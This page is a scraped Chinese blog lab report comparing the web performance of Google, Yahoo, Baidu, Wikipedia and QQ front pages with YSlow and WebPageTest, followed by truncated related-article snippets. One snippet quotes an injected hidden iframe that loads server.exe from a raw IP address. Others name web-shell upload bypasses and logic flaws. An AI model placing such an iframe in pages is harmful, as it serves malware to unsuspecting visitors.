网站性能评测实验

news/2024/5/9 14:51:35/文章来源:https://blog.csdn.net/chenlei0630/article/details/24282555

实验内容

本实验的目的是利用主流的网站分析工具对Alexatop100的前5名网站进行分析,评价其网站性能。在本实验中,我将在Windows平台下进行实验,评测的网站是目前Alexatop 100 的前5名的网站,包括google.com, Facebook.com, Youtube.com, Yahoo.com 和baidu.com。但是由于网络的问题,我们无法登陆到Facebook.com和Youtube.com的页面,所以我将对待评测的网页进行顺延,即对排在第6位wikipedia.org和排在第七位的Qq.com进行评测。对于google.com我们用google.com.hk来替代。为了完整的评估网站的性能,我将会对这些网站在多个主流的浏览器的表现进行分别评测。最终得到正确完整的实验结果。


图 1 Alexa top 500部分截图

实验工具

在实验中,我将采用两种性能分析工具对同一个网站进行分析,交叉检验获得的数据,从而获得更加准确、可信的数据。

YSlow

YSlow是广为人知的Web页面性能分析、测试和调试工具,是由Yahoo开发的基于网页性能分析的浏览器插件。YSlow最初只支持安装在火狐浏览器的Firebug上,随着着Yahoo对YSlow的不断开发和维护,目前YSlow已经有很多版本了,可以支持FireFox、Chrome、欧朋浏览器和欧朋移动版等众多浏览器。现如今,YSlow已经成为业界的评价标准之一。YSlow需要的参数只有待测的网页网址和对网站进行评测时应用的规则集这两部分。YSlow参数较少,用起来简单,不需要太多的专业背景知识。同时,YSlow为开发者自动提供的优化建议,省去了许多开发者自己分析的工作。所以本实验中将利用YSlow对网站进行性能评测。

WebPageTest

WebPageTest是目前功能最全面的开源监测工具,它是由google员工Patrick Meenan全职开发的性能监测工具。它可以通过截图来直观地看到页面加载的过程,并能进行视频对比,方便演示性能优化结果。它可以部署到本地机器,方便进行内部的性能测试。它也可以直接在线使用,网址为:http://www.webpagetest.org/。在线使用时可以看到最新的“可视化页面比较”功能,它能捕捉页面渲染过程中各个阶段的截屏。像慢镜头回放似的比较和对手的细微差别。和其它测试工具相比WebPageTest最大的好处是可以生成很全很详细的网站性能测试报告。但是在线使用相当于用国外的服务器测试,加载具体数据会比较慢。像YSlow一样,WebPageTest需要的参数只有待测试的网址,使用非常方便。

实验参数

实验平台

Windows 7 Ultimate

实验环境

chrome、firefox、ie

分析工具

YSlow、WebPageTest

实验

1.     google.com.hk

在用YSlow评测时,google.com.hk总得分为93分。得分较低的有两项,分别是Use a Content DeliveryNetwork(CDN)和Add Expires Headers。其中,Use a Content Delivery Network(CDN)这条规则的得分等级为F,是因为有8个静态components没有在CDN上,给出的建议是将这8个components加入到CDN。Add Expires Headers规则的得分等级为D,是因为有三个静态组件没有设置过期时间。其实在首次检测CDN的时候,YSlow只安Yahoo知道的hostname来进行检查,但很多公司都购买了CDN服务,所以这一项的价值并不重要。

 

图 2 YSlow对google.com.hk的评分详情

同时google.com.hk还充分利用了cache。从图1可以看出,在加入cache之后,请求数由10个下降到了4个。需要传输的内容从283.9K下降到了只需要传输HTML/Text的21.8K,传输内容减少了90%多。从而可以缩短响应时间。

图 3 google.com.hk 分析统计图

在用WebPageTest评测时,First ByteTime和Cache static content 指标的得分都为F,分数比较低。First Byte Time指从后端传输过来的第一个字节的时间,从结果中看到传输详情为:557 ms First Byte Time。分析之后可能是由于WebPageTest是通过走国外的网络线路进行分析的,所以这一项可能都会比较低。参考价值不大。而Cache static content指将静态内容保存在cache中,当用户在此请求时,可以从cache中查找,加快了速度。Cache的详情是:Leverage browser caching of static assets: 37/100。静态缓存只中了37%。

图 4 WebPageTest评测google页面

2.     Yahoo.com

在用YSlow评测时,Yahoo.com总得分为82分。得分较低的有6项。Make fewer HTTP requests得分为D,建议将一些JS脚本、CSS等分别合并,减少请求数;Add Expires headers得分为F,7个静态组件没有设置过期时间;Put JavaScript at bottom得分为D,有8个JS脚本在文档的头部,风格不好。Minify JavaScript andCSS得分为F,有11个components可以被精简掉;Reduce the number of DOM elements得分为E,有1674个DOM,应该减少DOM;Do not scale images in HTML,有12出图片在HTML中,应避免将图片写在HTML中。此外,Yahoo.com利用了Cache技术,将许多CSS、JS等内容写到了缓存,提升了在此访问Yahoo页面的速度。

 

图 5YSlow评测YaHoo.com

Yahoo.com的最终评分比google.com少了很多,通过查看两个页面可以直观的发现,这有很大部分原因是Yahoo的页面加载的内容太多造成的。

在用WebPageTest评测时,Yahoo.com的评测结果竟然比Goolge的结果好一些。First Byte Time的得分为F,返回第一字节用时1223 ms ;但是在上文中也已经提到了,此处的FirstByte Time指标参考性不大。而Keep-alive Enabled和Compress Transfer得分都为A,这两项做的很不错;Effective use of CDN也表现出了不错的性能。ProgressiveJPEGs和Cache static content得分为C,有72% Progressive JPEGs被使用,有77%的静态组件加入到了Cache缓存。


图 6WebpageTest对Yahoo.com的评测结果

3.     Baidu.com

在用YSlow评测时,Baidu.com的总得分是95分,是一个非常高的得分。Use a Content DeliveryNetwork 得分为F,有8个静态conponents没有加入到CDN中;Add Expires headers得分为B,有1个静态组件没有设置超时设置。其它的评分均为A。从YSlow对Baidu.com和google.com.hk的结果分析中我们可以发现,Baidu和Google页面的结果非常的相近,都是Use a Content Delivery Network和Add Expires headers两条需要修改。我们也可以从页面中直接观察,两个搜索引擎的首页都非常的干净整洁,没有其他的杂乱的信息。

图 7 YSlow对baidu.com的评测结果

在用WebPageTest评测时,First ByteTime和Cache static content 指标的得分比较低。First Byte Time得分为D,接受到第一字节的内容用时1517 ms;Cache的命中率为75%,同时Baidu.com的页面几乎没有用到CDN服务。这些地方都有改进的空间。

 

图 8 WebPageTest对Baidu.com的评测结果

4.     Wikipedia

用YSlow进行评测时,wikipedia的得分为86分。得分较低的有两项,分别是Use a Content DeliveryNetwork(CDN)和Add Expires Headers。其中,Use a Content Delivery Network(CDN)这条规则的得分等级为F,是因为有19个静态components没有在CDN上,给出的建议是将这19个components加入到CDN。Add Expires Headers规则的得分等级为F,是因为有19个静态组件没有设置过期时间。

图 9 YSlow对wikipedia的评测结果

尽管Wikipedia对Use a ContentDelivery Network(CDN)和Add ExpiresHeaders两条指标做的并不十分好,但是他对缓存的利用达到了极致。从下图可以看出,Wikipedia在第二次访问的时候几乎不再需要下载任何内容,将所有内容加入缓存中。这极大的减少了一些静态的内容再次重复下载的情况,提升了页面响应速度。

图 10 wikipedia的分析统计图

再用WebPageTest进行评测时,Wikipedia的结果比较差。如上文所说FirstByte Time参考价值不大,此后将不再讨论这一项。Compress Transfer的得分为D,如果使用gzip压缩可以将传输比例变为现在的61%;而Cache static content和Effective use of CDN则完全没有用到。这与我们用YSlow评测时的结论完全相悖。


图 11 WebPageTest对Wikipedia的评测结果

5.     Qq.com

用YSlow进行评测时,qq.com的得分只有38分。有多达9项规则的评分都是F,其余都是A。下面主要介绍这些评分为F的规则和详情。Make fewer HTTP requests将JS进行合并,并且将一些背景图片合并到CSS中;Use a Content Delivery Network (CDN)建议将多达190个静态组件加入到CDN中,提升用户访问响应速度;发现一条空的链接,建议尽量避免空链接;有多达30个静态组件没有设置超时时间;7个纯文本组件没有进行压缩传递;有22个JS脚本没有放在文档底部;组件被分为多于4个领域,增大了DNS的查找时间;页面具有太多的DOM元素;在HTML中放入了图片。Qq.com需要优化的内容还是比较多的。造成Qq.com得分低的另一个原因是该网页中加载的内容太多。

图 12 YSlow对qq.com的评测结果

用WebPageTest进行评测时,Qq.com的结果依旧比较差。Compress Transfer得分为C,如果使用gzip压缩可以将压缩比例变为现在的70%;图片的压缩比例为59%;进一步压缩传输内容可以减少传输开销。浏览器cache命中率为63%;CDN利用率为28%;提高Cache和CDN的使用率可以避免某些内容的重复查找和传输,从而提升响应速度。没有用到ProgressiveJPEGs;从这些结果中可以看出,Qq.com需要改进的内容很多。


图 13 WebPageTest对Qq.com评测结果

总结

总体来看,Google.com和Baidu.com的性能还是不错的,而Yahoo.com、Wikipedia.com和Qq.com则还需要进一步优化。尤其是Qq.com,整体性能还比较差,有很大的优化空间。然而这5个网页的内容区别也很大,Baidu和Google是搜索页面,内容比较少,干净整洁;而Yahoo和Qq则是新闻页面,内容繁多,本身的优化难度也比较大;Wikipedia介于两者之间。

从对5个页面的结果分析可以看出,不同的工具对同一个网页的评测结果可能会差距很大。所以如果在现实中进行优化的时候,可以综合尝试多种性能优化工具,以求能够将所有潜在的问题发现并解决。

参考文献

[1]     http://www.webpagetest.org/

[2]     http://hikejun.com/blog/2010/01/09/%E6%9C%AC%E5%9C%B0%E5%AE%89%E8%A3%85webpagetest/

[3]     http://blog.csdn.net/chenlei0630/article/details/22724539

[4]     http://vickynuli.blog.163.com/blog/static/18043849220128269564392/

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_818323.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UseOfMethods - 方法的使用 - Java

文章目录什么是方法?方法就是一个代码片段. 类似于 C 语言中的 "函数".方法可以理解为是一个 功能,实现某种我们想要达到的效果,而且这个功能是可以被重复使用的。方法存在的意义(不要背, 重在体会):方法的语法格式代码实例1&#…

听说,有些网站明文存储用户密码?

前段时间爆出 Facebook 明文存储用户密码,多达 6 亿用户,而它的用户总数是 27 亿,占比 22 % 。 看到这个消息,是不是很震惊? 无独有偶,之前有听过很多银行系统的密码也是明文(真假没有验证)。…

一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

问题描述: 公司的一个网站首页突然打不开,使用域名访问,页面一片空白。使用IP端口 访问,界面只能看到几个蓝色的标题,没有图片,排版混乱。 分析解决: 1、查看部署官网的nginx进程,进…

网站至今已停超过24小时,郁闷中...

最早想用一卡通来付钱,忘了把证书带在身边,网上银行使用不了了退而求其次,申请支付卡,被银行的人问了一堆的问题,很多天长地久谁能记得那么清楚,失败。再求其次,用别人的卡付帐,谁知…

快速在Ubuntu安装PHP网站

快速安装使用的是tasksel,tasksel是Debian / Ubuntu的工具,安装多个相关软件包作为一个协调的“任务”到你的系统。这个lamp-server^跟taskel这个程序有关。下面是详细步骤: 一、升级当前Linux环境 这里我采用UBUNTU发行版本,需要…

云服务器 ECS 搭建WordPress网站:购买域名

购买域名您可以给自己的网站设定一个单独的域名。您的用户可以使用易记的域名访问您的网站,而不需要使用复杂的 IP 地址。 建议通过 阿里云购买域名。 操作步骤 1.在购买域名页面,搜索想用的域名,如尚未被注册,则可以购买。选择要…

python 第一个网站应用

Hello,第一个网页分析 打开文本编辑器。这里要说一下啦,理论上讲,所有的文本编辑器都可以做为编写程序的工具。前面已经提到的那个python IDE,是一个很好的工具,再有别的也行,比如我就用vim(好像我的计算机…

wallhaven壁纸网站改版后爬虫小例子

wallhaven壁纸网站改版后爬虫 新手上路,老司机绕路 最近学习python,尝试写一点小爬虫 这是改版后的wallhaven壁纸网站,爬取热门榜单。首先对网站进行分析 按F12启动开发者工具,对网页进行分析。 现在页面上的图片都是缩略图没有爬…

ASP.NET WEB网站简单入门(简单Demo -发布)

简单分几个阶段 一、简单代码实现 1.新建工程 2.打开设计器(查看设计器),托出一个label ,写上Hello 3.点击调试,即可看到网页效果 4.重新生成后,发布到指定路径下 5.弹出网站发布设置面板,点击&l…

爬虫7----动态网站抓取

一、Ajax和动态HTML 二、Selenium 使用教程 一、实例1 二、元素的选取 2.1实例讲解 三、页面操作 1.页面交互和表单填充 代码如下: 2.元素拖拽 3.切换窗口 3.如何切换frame selenium提供了**switch_to.frame()**方法来切换frame 3.1、从frame中切回主文档…

亿恩云主机,网站所有页面头部开始被插入iframe,提交问题给亿恩技术,回应的是沉默...

用的亿恩的云主机&#xff0c;今天发现所有页面头部最开始被插入了如下一段代码&#xff1a; <iframe src http://122.224.95.100:6655/server.exe width0 height0></iframe> 后经检查&#xff0c;服务器上的文件并没有被篡改&#xff0c;补丁也打了&#xff0c;也…

五款开源免费的建站系统推荐

最近研究了下开源的建站系统&#xff0c;推荐5款国内的吧&#xff0c;都有免费版本&#xff0c;有需要可以去试试。 ECTouch ECTouch是一款开源免费的移动商城网店系统。能够帮助企业和个人快速构建手机移动商城并减少二次开发带来的成本。 ECTouch采用PHPMYSQL方式运行&…

学英语好网站

转载于:https://www.cnblogs.com/DeeLMind/p/7627276.html

[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护

这是作者的系列网络安全自学教程&#xff0c;主要是关于网安工具和实践操作的在线笔记&#xff0c;特分享出来与博友共勉&#xff0c;希望您们喜欢&#xff0c;一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程&#xff0c;本文将分享Python攻防…

简单用户登录网站(HttpServlet1.1版本)

案例说明:用户在登录界面输入非空信息,在欢迎页面显示用户信息 Login1.java 用户登录界面 对Login1.java进行Servlet部署 LoginCl1.java 用户业务逻辑处理,采用sendRedirect()方法 对LoginCl1.java进行Servlet部署 Wel1.java 欢迎页面(显示用户信息) 对Wel1.java进行Servlet部署…

网站流量日志数据分析系统

1&#xff0e; 点击流数据模型1.1&#xff0e; 点击流概念点击流&#xff08;Click Stream&#xff09;是指用户在网站上持续访问的轨迹。这个概念更注重用户浏览网站的整个流程。用户对网站的每次访问包含了一系列的点击动作行为&#xff0c;这些点击行为数据就构成了点击流数…

渗透之路 信息收集【第四篇】网站四大套件识别

国内网站架构情况 特性1&#xff1a; 开源cms搭建(直接找cms漏洞) 非cms搭建(即需要代码开发)特性2&#xff1a; 阿里云&#xff0c;腾讯云等(自带防护&#xff0c;难度最大) 小中型IDC空间商 企业内部服务器特性3&#xff1a; 单一站点 多域名站点 多目录站点(多程序站点) 混合…

2017年网站安全狗绕过WebShell上传拦截的新姿势

本文来源&#xff1a;https://www.webshell.ren/post-308.html 今天有一位朋友发一个上传点给我 我一看是南方cms 有双文件上传漏洞 本来可以秒的 但是看到了 安全狗 从图片可以看到http返回信息 有安全狗拦截 哪怎么办呢 我也是搞了以前私藏的姿势 后来发现都不行 发现行…

跟着百度学PHP[14]-COOKIE的应用/网站登陆案例完整案例

先在数据库当中创建以下数据&#xff1a; mysql> create table user(-> id int not null auto_increment,-> username varchar(50) not null default ,-> password char(32) not null default ,-> email varchar(80) not null default ,-> allow_1 smallint …

逻辑漏洞-客户端验证的邮箱-Web渗透实例之中国教育部青少年普法网站逻辑漏洞...

转载自&#xff1a;http://www.zmnhssn.com/?post61 漏洞地址&#xff1a;https://user.qspfw.com 用户登陆界面 具体漏洞地址: 用户密码找回界面&#xff1a;https://user.qspfw.com/page/user/findpwd/forget_pwd.do 这里可以确认网站有没有这个用户&#xff0c;这个用户…